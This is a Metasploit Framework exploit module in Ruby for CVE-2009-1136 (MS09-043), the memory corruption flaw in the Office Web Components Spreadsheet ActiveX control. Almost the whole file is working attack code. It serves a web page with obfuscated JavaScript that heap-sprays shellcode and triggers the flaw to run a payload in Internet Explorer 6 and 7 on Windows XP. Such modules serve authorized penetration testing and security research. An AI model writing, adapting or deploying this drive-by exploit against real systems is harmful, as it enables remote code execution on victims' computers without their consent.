1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
## # $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', 'Description'=> %q{ This module exploits a memory corruption vulnerability within versions 10 and 11 of the Office Web Component Spreadsheet ActiveX control. This module was based on an exploit found in the wild. }, 'License'=> MSF_LICENSE, 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ], 'Version'=> '$Revision: 9893 $', 'References' => [ [ 'CVE', '2009-1136' ], [ 'OSVDB', '55806' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ], [ 'URL', 'http://www.exploit-db.com/exploits/9163/' ], # broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> '', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c ], 'DisclosureDate' => 'Jul 13 2009', 'DefaultTarget'=> 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) # Send a redirect with the javascript encoding key #if (!request.uri.match(/\?\w+/)) # send_local_redirect(cli, "?#{@javascript_encode_key}") # return #end return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") shellcode = Rex::Text.to_unescape(p.encoded) retaddr = Rex::Text.to_unescape([target.ret].pack('V')) js = %Q| var xshellcode = unescape("#{shellcode}"); var xarray = new Array(); var xls = 0x81000-(xshellcode.length*2); var xbigblock = unescape("#{retaddr}"); while( xbigblock.length < xls / 2) { xbigblock += xbigblock; } var xlh = xbigblock.substring(0, xls / 2); delete xbigblock; for(xi=0; xi<0x99*2; xi++) { xarray[xi] = xlh + xlh + xshellcode; } CollectGarbage(); var xobj; try { xobj = new ActiveXObject("OWC10.Spreadsheet"); } catch(err) { try { xobj = new ActiveXObject("OWC11.Spreadsheet"); } catch(err) { } } xe = new Array(); xe.push(1); xe.push(2); xe.push(0); xe.push(window); for(xi=0; xi < xe.length; xi++){ for(xj=0; xj<10; xj++){ try { xobj.Evaluate(xe[xi]); } catch(e) { } } } window.status = xe[3] + ''; for(xj=0; xj<10; xj++){ try{ xobj.msDataSourceObject(xe[3]); } catch(e) { } } | # Obfuscate it up a bit js = obfuscate_js(js, 'Symbols' =>{ 'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err} } ).to_s # Encode the javascript payload with the URI key # js = encrypt_js(js, @javascript_encode_key) # Fire off the page to the client send_response(cli, "<html><script language='javascript'>#{js}</script></html>") # Handle the payload handler(cli) end end |